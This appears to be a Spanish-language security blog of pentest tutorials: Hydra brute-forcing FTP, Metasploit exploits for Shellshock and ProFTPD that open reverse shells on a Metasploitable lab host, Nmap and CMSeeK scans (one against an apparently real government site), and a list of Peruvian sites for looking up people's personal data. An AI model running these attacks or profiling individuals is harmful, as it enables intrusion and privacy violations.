Escanear un Servidor Web utilizando SSLyze

Body

SSLyze es una rápida y poderosa librería para escanear SSL/TLS.

Permite analizar la configuración SSL/TLS de un servidor realizando una conexión, para poder detectar diversos problemas (certificado inadecuado, suites débiles de cifrado, Heartbleed, ROBOT, soporte TLS 1.3, etc.)-

SSLyze puede ser ya sea utilizado como una herramienta en línea de comando o como una librería en Python.

Principales Características

  • API Python completamente documentada, para poder ejecutar escaneos y procesar los resultados directamente desde Python
  • Soporte para TLS 1.3 y pruebas de datos anteriores (0-RTT)
  • Los escaneos son automáticamente despachados entre múltiples trabajadores, haciéndolos muy rápidos
  • Pruebas para rendimiento: reanudación de sesión y soporte para tickets TLS
  • Pruebas para seguridad: suites débiles de cifrado, soporte de curvas, ROBOT, Heartbleed y más
  • Validación del certificado del servidor, y verificación para la revocación a través de grapado OCSP
  • Soporte para saludos StarTLS sobre SMTP, XMPP, LDAP, POP, IMAP, RDP, Postgresql y FTP
  • Los resultados del escaneo pueden ser escritos hacia un archivo JSON para posterior procesamiento
  • Y mucho más

Se ejecuta SSLyze con la opción “-h” para visualizar un resumen de sus principales opciones.

$ sslyze -h

Se ejecuta la SSLyze para escanear un servidor web con soporte SSL/TLS.

$ sslyze –resume www. xyz. pe --json_out=/tmp/emp.json

La opción “--regular”, realiza un escaneo HTTPS regular; es un atajo para las opciones –sslv2--sslv3--tlsv1--tlsv1_1--tlsv1_2--tlsv1_3--reneg--resum--certinfo--hide_rejected_ciphers--compression--heartbleed--openssl_css--fallback--robot--elliptiv_curves

La opción “--json_out” escribe los resultados del escaneo como un documento JSON. Si el archivo es definido a “-”, la salida JSON será impresa a través de la salida estándar. El archivo JSON resultando es una versión serializada de los objetos “ScanResult”, descritos en la API Python de SSLyze: los nodos y atributos serán los mismos.

Finalizado el escaneo, el archivo JSON conteniendo los resultados puede ser revisado mediante la consola o utilizando un navegador web cono firefox.

Sugiero revisar la completa descripción de todas las opciones soportadas por SSLyze en su documentación oficial.

Fuentes:

https://github.com/nabla-c0d3/sslyze
https://nabla-c0d3.github.io/sslyze/documentation/

Buscar Información de Personas en Perú (OSINT)

Body

En diversos procedimientos OSINT se intenta buscar la mayor cantidad de información públicamente disponible sobre personas. Se puede buscar por diversos elementos de información personal, nombres, apellidos, dirección, números de teléfono, dirección de correo electrónico, propiedades, afiliaciones, etc. La manera en la cual se busca información tiene un gran impacto en los resultados obtenidos. A continuación detallo un listado de sitios web desde donde es factible obtener información sobre personas de nacionalidad Peruana. Es mi propósito actualizar estas fuentes de información de manera frecuente.

SUNAT

https://e-consultaruc.sunat.gob.pe/cl-ti-itmrconsruc/FrameCriterioBusqu…

https://ww1.sunat.gob.pe/ol-ti-itconsultaunificadalibre/consultaUnifica…

RENIEC

https://portaladminusuarios.reniec.gob.pe/validacionweb/index.html#no-b

https://serviciosweb.reniec.gob.pe/aip/

https://serviciosbiometricos.reniec.gob.pe/appConsultaHuellas/index.htm

https://apps.reniec.gob.pe/MesaPartesVirtual/loginPN.htm

https://serviciosportal.reniec.gob.pe/cetdnipi/inicio.htm

ESSALUD

https://dondemeatiendo.essalud.gob.pe/#/consulta

https://apps.essalud.gob.pe/LactanciaCeroTramites/#/consulta

https://apps.essalud.gob.pe/citt/#/consulta

https://ww10.essalud.gob.pe/sgfa/externo.php

SIS

https://cel.sis.gob.pe/SisConsultaEnLinea

https://www.sis.gob.pe/NUEVO/consultaSepelio/frmConsultaSepelioOnLine.a…

http://app.sis.gob.pe/ConsultasAcreditadosEssalud/consulta/frmConsultaE…

SERVIR

https://consultasexternas.servir.gob.pe/CECI/faces/registro/registro_co…

SUSALUD

https://app1.susalud.gob.pe/registro/

SUNEDU

https://enlinea.sunedu.gob.pe/

https://renati.sunedu.gob.pe/

SBS

https://servicios.sbs.gob.pe/reportesituacionprevisional/afil_consulta…

https://servicios.sbs.gob.pe/reportesoat/

SAT

https://www.sat.gob.pe/VirtualSAT/principal.aspx

MTC

https://slcp.mtc.gob.pe/

https://licencias.mtc.gob.pe/#/index

https://scppp.mtc.gob.pe/

https://recordconductor.mtc.gob.pe/

https://portal.mtc.gob.pe/reportedgtt/form/frmconsultaplacaitv.aspx

SUNARP

https://consultavehicular.sunarp.gob.pe/consulta-vehicular/inicio

https://www2.sunarp.gob.pe/consulta-propiedad/inicio

SUTRAN

http://www.sutran.gob.pe/infraccion-por-cinemometro/

RNP

https://www.rnp.gob.pe/constancia/rnp_constancia/consultaruc.asp

ONPE

https://consultaelectoral.onpe.gob.pe/inicio

PRONABEC

https://tramitepublico.pronabec.gob.pe/consultas

SEACE

https://prod2.seace.gob.pe/seacebus-uiwd-pub/buscadorPublico/buscadorPu…

ONP

https://app.onp.gob.pe/conpvirtual/NPensConsTramiteAction.do

JNE

https://sroppublico.jne.gob.pe/Consulta/Afiliado

https://multas.jne.gob.pe/login

https://cej.jne.gob.pe/Autoridades

ITP

https://sgd.itp.gob.pe/consultaexp/inicio.do

SENACE

https://enlinea.senace.gob.pe/SitacDenunciasOCI/Consulta/Nuevo

MINISTERIO PÚBLICO

https://portal.mpfn.gob.pe/seguimiento-de-denuncias

https://portal.mpfn.gob.pe/servicios/verdenuncia

MIDIS

https://focalizacion.sisfoh.gob.pe/ConsultaCSE/

https://intranet.juntos.gob.pe/mijuntos1/

https://sicontigo.contigo.gob.pe/Consulta/index

MINSA

https://resultadoscoronavirus.ins.gob.pe/

https://digep.minsa.gob.pe/verificar.html

https://minsadigital.minsa.gob.pe/#/login

MINEDU

https://titulosinstitutos.minedu.gob.pe/

MINTRA

https://portal.trabajo.gob.pe/si.retccExterno/#/

CONGRESO

https://www2.congreso.gob.pe/Sicr/Administracion/PedTrans.nsf/RegBusca

PODER JUDICIAL

https://casillas.pj.gob.pe/redam/

https://sap.pj.gob.pe/sicmep-web/consulta

https://cej.pj.gob.pe/cej/forms/busquedaform.html

PENSION65

https://movil.pension65.gob.pe/wconsulta_ciudadano.php

MINRE

https://apps.rree.gob.pe/portal/SCT/visasconsulta.nsf/Consulta.xsp

INDECOPI

https://servicio.indecopi.gob.pe/appGafConsultasPagos/

FONAVI

https://www.fonavi-st.gob.pe/sifonavic1/

https://www.fonavi-st.gob.pe/sifonavic2/

SUCAMEC

https://www.sucamec.gob.pe/sel/faces/pub/gepp/List.xhtml

PNP

https://sistemas.policia.gob.pe/licenciadigital/ConsultaLicencia

https://sistemas1.policia.gob.pe/consultamultas/

INEI

http://m.inei.gob.pe/identificar_encuestadores/

GOBIERNO DE LIMA

https://tramitevirtual.regionlima.gob.pe/consultas

MOVISTAR

https://www.movistar.com.pe/movil/postpago/conoce-tus-numeros-moviles

CLARO

https://www.claro.com.pe/consulta-de-numero/

BITEL

https://bitel.com.pe/asistencia/consulta-linea

ENTEL

https://www.entel.pe/consulta-en-linea/

OSIPTEL

https://checatuslineas.osiptel.gob.pe/

Paginas Blancas

http://www.paginasblancas.pe/

 

Última Actualización: 15/Abr/2025

Atacar un Servicio FTP con una Lista de Palabras utilizando THC-Hydra

Body

FTP (File Tranfer Protocol) es un protocolo de comunicación estándar ,utilizado para transferir archivos desde un servidor hacia un cliente sobre una red de computadoras. FTP se construye sobre una arquitectura cliente-servidor, utilizando un conexiones separadas de control y datos, entre el cliente y el servidor. Los usuarios FTP pueden autenticarse con un protocolo en texto plano, normalmente en la forma de un nombre de usuario y contraseña, pero pueden conectarse anónimamente si el servidor está configurado para permitirlo.

Hydra es una herramienta la cual permite realizar ataques para intentar adivinar las contraseñas, el cual funciona en paralelo con soporte de diversos protocolos. Actualmente soporta Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

THC-Hydra es un código de prueba de concepto (PoC), para proporcionar a los investigadores y consultores en seguridad la posibilidad de mostrar cuan fácilmente se puede obtener acceso no autorizado remoto hacia un sistema.

Se ejecuta Hydra con la opción “-h” para visualizar un resumen de sus principales opciones.

$ hydra -h

Para la presente demostración se utilizará el archivo “/usr/share/wordlists/metasploit/unix_users.txt”
incluido en Metasploit Framework.

$ column /usr/share/wordlists/metasploit/unix_users.txt

Se ejecuta Hydra contra un servicio FTP ejecutándose en el puerto TCP 21.

$ hydra -t 3 -V -ensr -L /usr/share/wordlists/metasploit/unix_users.txt 192.168.0. 50 ftp

La opción “-t” ejecuta el número definido de conexiones en paralelo. En este caso se define a “3”. Por defecto es de 16.

La opción “-V” muestra la combinación de login y contraseña para cada intento realizado.

La opción “-L” define un archivo conteniendo LOGINs

La opción “-e nsr” realiza verificaciones adicionales, “n” para una contraseña nula, “s” para intentar el mismo login, “r” intenta el usuario invertido como contraseña.

La opción “ftp” define el servicio a atacar.

Hydra ha identificado un nombre de usuario y contraseña válidas. Se utiliza un cliente ftp para verificar la validez de estas credenciales.

$ ftp
ftp> open 192.168.0. 50
ftp> dir

Se verifica exitosamente el nombre de usuario “vagrant” y la contraseña “vagrant”, en el servicio FTP del servidor. Recordar estas credenciales pueden ser reutilizadas en otros servicios o en otros host en la red. Las cuales pueden ser utilizadas para un movimiento lateral, escalar privilegios, y en general en la etapa de post-explotación.

Fuentes:

https://github.com/vanhauser-thc/thc-hydra
https://www.systutorials.com/docs/linux/man/1-hydra/
https://en.wikipedia.org/wiki/File_Transfer_Protocol

Explotar Vulnerabilidad “Shellshock” utilizando el Módulo apache_mod_cgi_bash_env_exec de MSF

Body

Shellshock también conocido como bashdoor, es una familia de fallas de seguridad en la shell bash de Unix, el primero de los cuales fue publicado el día 24 de setiembre del año 2014. Shellshock permitirá a un atacante Bash ejecute comandos arbitrarios, y ganar acceso no autorizado hacia muchos servicios de cara a Internet, como servidores web, los cuales utilizan Bash para procesar peticiones.

El módulo “Apache mod_cgi Bash Environment Variable Code Injection (Shellshock) ” incluido en Metasploit Framework, explota la vulnerabilidad Shellshock, una falla en como la shell Bash maneja variables de entorno externo. Este módulo ataca guiones CGI en el servidor web Apache, definiendo la variable de entorno “HTTP_USER_AGENT”, hacia una definición de función maliciosa.

Se inicia el servicio postgresql y la consola de Metasploit Framework

$ sudo systemctl start postgresql.service
$ msfconsole

Se busca el módulo correspondiente a la vulnerabilidad identificada en el servidor web Apache.

msf6> search shellshock

Se define la utilización del módulo exploit de nombre “exploit/multi/http/apache_mod_cgi_bash_env_exec”, para luego visualizar sus opciones.

msf6> use 1
msf6> show options

Dado el hecho no se ha configurado un módulo Payload, Metasploit Framework define la utilización del módulo Payload de nombre “linux/x86/meterpreter/reverse_tcp”.

Se definen la opciones del módulo pertinente al escenario en evaluación. Luego se ejecuta el módulo de explotación.

msf6> set RHOST 192.168.0. 50
msf6> set TARGETURI /cgi-bin/hello_world.sh
msf6> exploit

La ejecución del módulo Exploit es exitoso, explotándose correctamente la vulnerabilidad, lo cual permite tener control remoto del servidor con los privilegios del usuario “www-data”. Podría ser factible elevar o escalar privilegios mediante la explotación de otra vulnerabilidad. A esta etapa se le denomina “Post-Explotación” o explotación posterior.

Fuentes:

https://en.wikipedia.org/wiki/Shellshock_(software_bug)
https://www.rapid7.com/db/modules/exploit/multi/http/apache_mod_cgi_bas…

Explotar Vulnerabilidad en CUPS utilizando el Módulo cups_bash_env_exec de MSF

Body

El módulo de nombre “CUPS Filter Bash Environment Variable Code Injection (Shellshock) ”, incluido en Metasploit Framework, explota la vulnerabilidad Shellshock, una falla relacionada a la manera en como la shell Bash maneja variables de entorno externas. Este módulo ataca filtros CUPS a través de las variables PRINTER_INFO y PRINTER_LOCATION. Un nombre de usuario válido y contraseña son requeridas para explotar esta vulnerabilidad a través de CUPS.

$ sudo systemctl start postgresql.service
$ msfconsole

Se busca el módulo correspondiente a la vulnerabilidad identificada en CUPS. Se define la utilización del módulo Exploit de nombre “multi/http/cups_bash_env_exec”. Luego se visualizan sus opciones.

msf6> search cups
msf6> use 1
msf6> show options

Se definen las opciones del módulo pertinentes al escenario en evaluación. Como ya se ha mencionado se requiere un nombre de usuario y contraseña válidas en el sistema.

msf6> set HttpUsername vagrant
msf6> set HttpPassword vagrant
msf6> set RHOSTS 192.168.0.50

El módulo Payload a utilizar es “cmd/unix/reverse_ruby”. También se procede a definir sus opciones.

msf6> set PAYLOAD cmd/unix/reverse_ruby
msf6> set LHOST 192.168.0. 98

La opción “LHOST” define la dirección IP de Kali Linux.

Se procede finalmente a ejecutar el módulo Exploit.

msf6 > exploit

Esta primera explotación falla. La máquina contra la cual se se realiza la presente demostración es Metasploitable 3 (Ubuntu 14.04). En la cual se debe agregar manualmente el usuario de nombre “vagrant” hacia el grupo “lpadmin”, utilizando el siguiente comando.

$ sudo usermod -a -G lpadmin vagrant

Se ejecuta nuevamente el módulo exploit

msf6 > exploit

uname -a

La ejecución del módulo Exploit es exitoso, explotándose correctamente la vulnerabilidad, lo cual permite tener control remoto del servidor con los privilegios del usuario “lp”. Aunque no se tienen los máximos privilegios (root), podría ser factible elevar o escalar privilegios mediante la explotación de otra vulnerabilidad. A esta etapa se le denomina “Post-Explotación” o explotación posterior.

Fuentes:

https://www.rapid7.com/db/modules/exploit/multi/http/cups_bash_env_exec/
https://vulners.com/metasploit/MSF:EXPLOIT/MULTI/HTTP/CUPS_BASH_ENV_EXEC
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-6271

Explotar Vulnerabilidad en ProFTPD utilizando el Módulo proftpd_modcopy_exec de MSF

Body

El módulo de nombre “ProFTPD 1.3.5 Mod_Copy Command Execution” incluido en Metasploit Framework, explota los comandos SITE CPFR/CPTO en la versión ProFTPD 1.3.5. Cualquier cliente no autenticado puede aprovechar estos comandos para copiar archivos desde cualquier parte del sistema de archivos hacia un destino seleccionado. Los comandos de copia son ejecutados con los derechos del servicio ProFTPD, lo cual por defecto se ejecuta bajo los privilegios del usuario “nobody”. Utilizando “/proc/self/cmdline” para copiar una carga PHP hacia un directorio del sitio web, es posible ejecutar código PHP remoto.

Se inicia el servidor postgresql para luego ejecutar la consola de Metasploit Framework.

$ sudo systemctl start postgresql.service
$ msfconsole

Se procede a buscar el módulo correspondiente a la vulnerabilidad identificada en ProFTPD 1.3.5.

msf6 > search proftpd

Se muestran las opciones del módulo.


msf6 > show options

Se define la utilización del módulo “unix/ftp/proftpd_modcopy_exec”, además de las opciones pertinente en base al escenario en evaluación.

msf6 > use 4
msf6 > set RHOST 192.168.0. 50
msf6 > set SITEPATH /var/www/html/
msf6 >

La opción “SITEPATH” define la ruta absoluta hacia un directorio web factible de ser escrito.

Adicionalmente se requiere definir un módulo Payload y sus opciones. En esta oportunidad se define la utilización del módulo Payload de nombre “cmd/unix/reverse_perl”.

msf6 > set PAYLOAD cmd/unix/reverse_perl
msf6 > set LHOST 192.168.0. 98

La opción “LHOST” define la dirección IP de Kali Linux.

Se procede finalmente a ejecutar el módulo Exploit.

msf6 > exploit

uname -a
id
w
pwd
ls

La ejecución del módulo Exploit es exitoso, consecuentemente se ha explotado la vulnerabilidad, lo cual permite tener control remoto del servidor con los privilegios del usuario “www-data”. Aunque no se tienen los máximos privilegios (root), podría ser factible elevar o escalar privilegios mediante la explotación de otra vulnerabilidad. A esta etapa se le denomina “Post-Explotación” o explotación posterior.

Fuentes:

http://www.proftpd.org/
https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_modcopy_exec/
https://www.cvedetails.com/cve/CVE-2015-3306/
https://vulners.com/packetstorm/PACKETSTORM:131505

Identificar Vulnerabilidades utilizando la Categoría NSE vuln con Nmap

Body

Los NSE (Nmap Scripting Engine) son una de las características más poderosas y flexibles de Nmap. Permite a los usuarios escribir y compartir guiones simples para automatizar una amplia diversidad de tareas relacionadas a las redes. Estos guiones son ejecutados en paralelo con la velocidad y eficiencia esperada de Nmap. Los usuarios pueden confiar en la creciente diversidad de guiones distribuidos con Nmap, o escribir los propios en base a sus requerimientos.

Detección de Vulnerabilidades

Cuando se descubre una nueva vulnerabilidad, frecuentemente se requiere escanear la red rápidamente, con el propósito de identificar sistemas vulnerables. Aunque Nmap no es un escáner completo de vulnerabilidades, NSE es lo suficientemente poderoso para gestionar verificaciones de seguridad. Muchos guiones para la detección de vulnerabilidades están disponibles, y se planea distribuir más conforme sean escritos.

Se ejecuta Nmap definiendo la utilización de la categoría NSE “vuln”. Dado el hecho haberse realizada un escaneo anterior, se definen únicamente los puertos encontrados en estado abierto.

$ sudo nmap -Pn -n -O -sV -p21,22,80,445,631,3000,3306,3500,6697,8080,8181 192.168.0 .50 –script vuln

La opción “--script vuln” define la ejecución de todos los guiones NSE incluidos en esta categoría.

A continuación se presentan algunos hallazgos resaltantes, mapeados hacia módulos en Metasploit Framework

Puerto TCP 21

ProFTPD 1.3.5 Mod_Copy Command Execution

Este módulo explota los comandos SITE CPFR/CPTO en la versión ProFTPD 1.3.5. Cualquier cliente no autenticado puede aprovechar estos comandos para copiar archivos desde cualquier parte del sistema de archivos hacia un destino seleccionado. Los comandos de copia son ejecutados con los derechos del servicio ProFTPD, lo cual por defecto se ejecuta bajo los privilegios del usuario “nobody”. Utilizando “/proc/self/cmdline” para copiar una carga PHP hacia un directorio del sitio web, es posible ejecutar código PHP remoto.

Puerto TCP 80

Slowloris Denial of Service Attack

Slowloris intenta mantener tantas conexiones abiertas hacia un servidor web, y mantenerlas abiertas tanto como sea posible. Esto se logra abriendo conexiones hacia el servidor web, y enviando peticiones parciales. Periódicamente se enviarán cabeceras HTTP subsecuentes, añadiendo pero nunca completando la petición. Los servidores afectados podrían mantener estas conexiones abiertas, llenando su cola de conexiones concurrentes máxima, para eventualmente negar intentos de conexión adicional desde clientes legítimos.

Apache Optionsbleed Scanner

Este módulo de Metasploit Framework escanea por la vulnerabilidad de nombre “Apache optionsbleed”, donde la cabecera de respuesta Allow devuelta desde una petición OPTIONS puede sangrar la memoria si el servidor tiene un archivo “.htaccess” con un método Limit inválido definido.

Puerto TCP 631

Slowloris Denial of Service Attack

Slowloris intenta mantener tantas conexiones abiertas hacia un servidor web, y mantenerlas abiertas tanto como sea posible. Esto se logra abriendo conexiones hacia el servidor web, y enviando peticiones parciales. Periódicamente se enviarán cabeceras HTTP subsecuentes, añadiendo pero nunca completando la petición. Los servidores afectados podrían mantener estas conexiones abiertas, llenando su cola de conexiones concurrentes máxima, para eventualmente negar intentos de conexión adicional desde clientes legítimos.

CUPS 1.6.1 Root File Read

Este módulo explota una vulnerabilidad en CUPS inferiores a la versión 1.6.2, un sistema de fuente abierta para impresión. CUPS permite a los miembros del grupo “lpadmin” cambiar en el archivo de configuración “cupsd.conf”, lo cual puede especificar una ruta “Error Log”. Cuando el usuario visita la página “Error Log” en la interfaz web, el demonio “cupsd” (ejecutándose con el setuid root), lee la ruta “Error Log” y hace un echo de esto como texto plano. Este módulo se conoce funciona en Mac OS X 10.8.4 y Ubuntu Desktop = 12.0.4, tanto como la sesión este en el grupo “lpadmin”. Advertencia: si el usuario tiene configurado una ruta personalizada hacia el Error Log de CUPS, este módulo fallará en redefinir la ruta correctamente. Se puede especificar una ruta “Error Log” personalizada con la opción “ERROR_LOG”.

Puerto TCP 3500

Slowloris Denial of Service Attack

Slowloris intenta mantener tantas conexiones abiertas hacia un servidor web, y mantenerlas abiertas tanto como sea posible. Esto se logra abriendo conexiones hacia el servidor web, y enviando peticiones parciales. Periódicamente se enviarán cabeceras HTTP subsecuentes, añadiendo pero nunca completando la petición. Los servidores afectados podrían mantener estas conexiones abiertas, llenando su cola de conexiones concurrentes máxima, para eventualmente negar intentos de conexión adicional desde clientes legítimos.

Puerto TCP 8080

Slowloris Denial of Service Attack

Slowloris intenta mantener tantas conexiones abiertas hacia un servidor web, y mantenerlas abiertas tanto como sea posible. Esto se logra abriendo conexiones hacia el servidor web, y enviando peticiones parciales. Periódicamente se enviarán cabeceras HTTP subsecuentes, añadiendo pero nunca completando la petición. Los servidores afectados podrían mantener estas conexiones abiertas, llenando su cola de conexiones concurrentes máxima, para eventualmente negar intentos de conexión adicional desde clientes legítimos.

Adicionalmente a los hallazgos o vulnerabilidades indicadas por la categoría NSE vuln, también se tiene lo siguiente:

  • Diversos directorios y archivos en el servicio web ejecutándose en el puerto TCP 80
  • Instalación de phpMyAdmin ejecutándose en el puerto TCP 80
  • Potenciales inyecciones SQL en aplicaciones ejecutándose en el puerto TCP 80
  • Diversos directorios y archivos en el servicio web ejecutándose en el puerto TCP 631
  • Archivo robots.txt en el servicio web ejecutándose en el puerto TCP 3500
  • Potenciales CSRF en aplicaciones ejecutándose en el puerto TCP 8080
  • Vulnerabilidad en el servicio “regsvc” correspondiente a sistemas Windows 2000.

Recordar siempre todos los resultados obtenidos por las herramientas automática deben ser revisados por un profesional en Hacking Ético y Pruebas de Penetración. Pues casi siempre existen falsos positivos. Siendo el más resaltante de los últimos mencionados relacionada a una vulnerabilidad identificada para sistemas Windows, siendo el sistema operativo del servidor escaneado Ubuntu Linux.

Fuentes:

https://nmap.org/nsedoc/
https://nmap.org/nsedoc/categories/vuln.html
https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_modcopy_exec/
https://www.rapid7.com/db/modules/auxiliary/dos/http/slowloris/
https://www.rapid7.com/db/modules/auxiliary/scanner/http/apache_options…
https://www.rapid7.com/db/modules/post/multi/escalate/cups_root_file_re…

Enviar Mensajes de Correo Electrónico de Prueba utilizando Swaks

Body

La meta principal para el diseño de Swaks es ser una herramienta de prueba flexible, factible de ser incluida en un guion, y orientada a transacciones SMTP. Maneja funcionalidades y extensiones SMTP como TLS, autenticación, y canalización, múltiples versiones del protocolo SMTP incluyendo SMTP, ESMTP, y LMTP; además de múltiples métodos para el transporte, incluyendo sockets dominios UNIX, sockets dominio en Internet, y canalización para procesos desplegados. Las opciones pueden ser especificadas en variables de entorno, archivos de configuración, y la línea de comando, lo cual permite una máxima capacidad de configuración, y facilidad de uso para sus operadores y guiones.

Como la mayoría de herramientas incluidas en Kali Linux, Swaks tiene una página del manual, la cual puede ser consultada con el comando “man”.

$ man swaks

Se ejecuta la herramienta Swaks para intentar enviar un mensaje de correo electrónico “De Prueba”, mediante un servidor SMTP ejecutándose en el puerto TCP 25.

$ swaks –server 192.168. 0.58 --help=metasploitable.localdomain --to msfadmin@ metasploitable.localdomain --from user@ metasploitable.localdomain

La opción “--server” indica explícitamente a Swaks utilizar los sockets de red y especifica el nombre del host o dirección IP hacia el cual conectarse.

La opción “--helo” define la cadena a utilizar como argumento del comando HELO/EHLO/LHLO.

La opción “--to” le indica a Swaks utilizar el argumento como el receptor del mensaje de correo electrónico.

La opción “--from” utiliza el argumento como el remitente del mensaje de correo electrónico.

Al revisar el buzón del destinatario del mensaje de correo electrónico “De Prueba”, se visualiza el mensaje correctamente recibido.

Utilizando Swaks se puede automatizar el proceso de comunicación con los servidores de correo electrónico. Esto permite verificar su comportamiento ante diversos tipos de peticiones, para consecuentemente identificar servidores mal configurados, o lograr mensajes de correo electrónico electrónico evadan los filtros de seguridad.

Fuentes:

https://jetmore.org/john/code/swaks/
https://github.com/jetmore/swaks
https://jetmore.org/john/code/swaks/latest/doc/ref.txt

Identificar Vulnerabilidades y Plugins en CMSs utilizando CMSeeK

Body

Un sistema para la gestión de contenidos (CMS) maneja la creación y modificación de contenido digital. Típicamente soporta múltiples usuarios en un entorno colaborativo. Algunos ejemplos notables son WordPress, Joomla, Drupal, entre otros.

Debido a la amplia utilización de gestores para contenido, es necesario determinar la versión exacta del gestor y sus potenciales vulnerabilidades. La mayoría de CMSs están diseñados para ser modulares permitiendo incorporar “plugins”. El tema es muchos de estos plugins no necesariamente son desarrollados por los programadores del núcleo, lo cual incrementa la probabilidad de existan vulnerabilidades factibles de utilizar para comprometer de alguna manera un sitio web.

CMSeek es una suite para la detección y explotación de CMSs. Entre sus principales funcionalidades se enumeran; detección básica de más de 170 CMSs, detección de la versión de Drupal, Escaneos avanzados para Wordpress, Escaneos Avanzados para Joomla, y Sistema modular para fuerza bruta.

Se ejecuta la herramienta CMSeek con la opción “-h”, lo cual muestra un resumen de sus opciones.

cmseek -h

Se procede ahora a ejecutar CMSeek para obtener información sobre una instalación de Drupal.

$ cmseek -u 192.168.0 .50 --random-agent

La opción “-u” define la URL a evaluar.

La opción “--random-agent” utiliza un agente de usuario aleatorio

El resultado de la herramienta expone un CMS Drupa versión 7. Lo cual es correcto.

Para la siguiente demostración se ejecuta CMSeek contra una instalación de WordPress

$ cmseek -u https:// www. si****.gob.pe --random-agent

Mencionar al finalizar CMSeek su ejecución, indica los resultados son almacenados en la carpeta local indicada.

La herramienta lista tres hallazgos. El primer hallazgo corresponde a un archivo de nombre “license.txt”.

El segundo hallazgo corresponde a un archivo de nombre “readme.html”

Y el tercer hallazgo corresponde a la posibilidad de listar un directorio correspondiente a Wordpress de nombre “wp-content/uploads”.

Todos los archivos y directorios encontrados utilizando la herramienta CMSeek deben ser verificados manualmente por un profesional. La información contenida en estos archivos y directorios puede proporcionar información útil para potencialmente identificar vulnerabilidades, las cuales permitan explotar el sitio web.

Fuentes:

https://github.com/Tuhinshubhra/CMSeeK
https://www.drupal.org/
https://wordpress.org

Identificar Servicios Web utilizando Nmap

Body

Una vez descubiertos los puertos TCP y UDP utilizando algún método para escaneo, la detección de versión interroga estos puertos para determinar más sobre aquello lo cual están ejecutando. La base de datos “nmap-services-probes” de Nmap, contiene pruebas para consultar diversos servicios, y expresiones de coincidencia para reconocer e interpretar respuestas. Nmap intenta determinar el protocolo del servicio (Por ejemplo FTP, SSH, Telner, HTTP, etc.), el nombre de la aplicación, (Por ejemplo Apache httpd, Solaris Telnetd, etc.), el número de versión, nombre del host, y tipo de dispositivo (Por ejemplo una impresora o encaminador), la familia del sistema operativo (Por ejemplo Windows o Linux). Cuando es posible Nmap también obtiene la representación CPE (Common Platform Enumeration) de esta información.

Primero se procede a ejecutar Nmap para realizar un escaneo contra los 65535 puertos TCP.

$ sudo nmap -Pn -n -p- 192.168.0 .50

La opción “-Pn” trata todos los hosts como su estuvieran funcionando, evita el descubrimiento de hosts.

La opción “-n” indica nunca realizar resolución DNS.

La opción “-p-” define el escaneo de los 65535 puertos.

Al no definirse el tipo de escaneo y ejecutar Nmap con los privilegios de “root”, se realiza un Escaneo TCP SYN

En base a los resultados expuestos en la columna “SERVICE”, se ha detectado un servicio http en el puerto TCP 80, y un servicio http-proxy en el puerto TCP 8080.

Dado el propósito es intentar obtener la huella de los servidores web, pues el conocer su tipo y versión permitiría luego determinar vulnerabilidades factibles de ser explotadas durante una prueba de penetración.

Se procede ahora a ejecutar un Escaneo de Versión utilizando Nmap.

$ sudo nmap -Pn -n -sV -p- 192.168.0 .50

La opción “-sV” realiza un escaneo de versión, donde se prueban los puertos abiertos para determinar información del servicio y versión.

Los resultados obtenidos con Nmap ahora incluyen una cuarta columna de nombre “VERSION”. Se ha detectado un servicio http en el puerto TCP 80, siendo un Apache httpd versión 2.4.7. En el puerto 3500 TCP también se ha detectado un servicio http, siendo WEBrick httpd versión 1.3.1. Así mismo en el puerto TCP 8080 se ha detectado un servicio http, siendo un Jetty versión 8.1.7.v20120910.

Anotar como un escaneo “TCP SYN” normal no pudo reconocer correctamente los servicios http ejecutándose en los puertos TCP 3500 y 8080. Lo cual sí fue obtenido correctamente con el escaneo de versión, siendo factible identificar información bastante detallada sobre los servicios web.

Recordar aunque sea posible obtener información sobre el software servidor y su versión, es posible sea información inexacta, o manipulada intencionalmente. Consecuentemente siempre todos los resultados generados por herramientas automáticas deben ser corroborados manualmente por un profesional.

Fuentes:

https://nmap.org/
https://nmap.org/book/vscan-examples.html
https://nmap.org/book/man-version-detection.html
https://nvd.nist.gov/products/cpe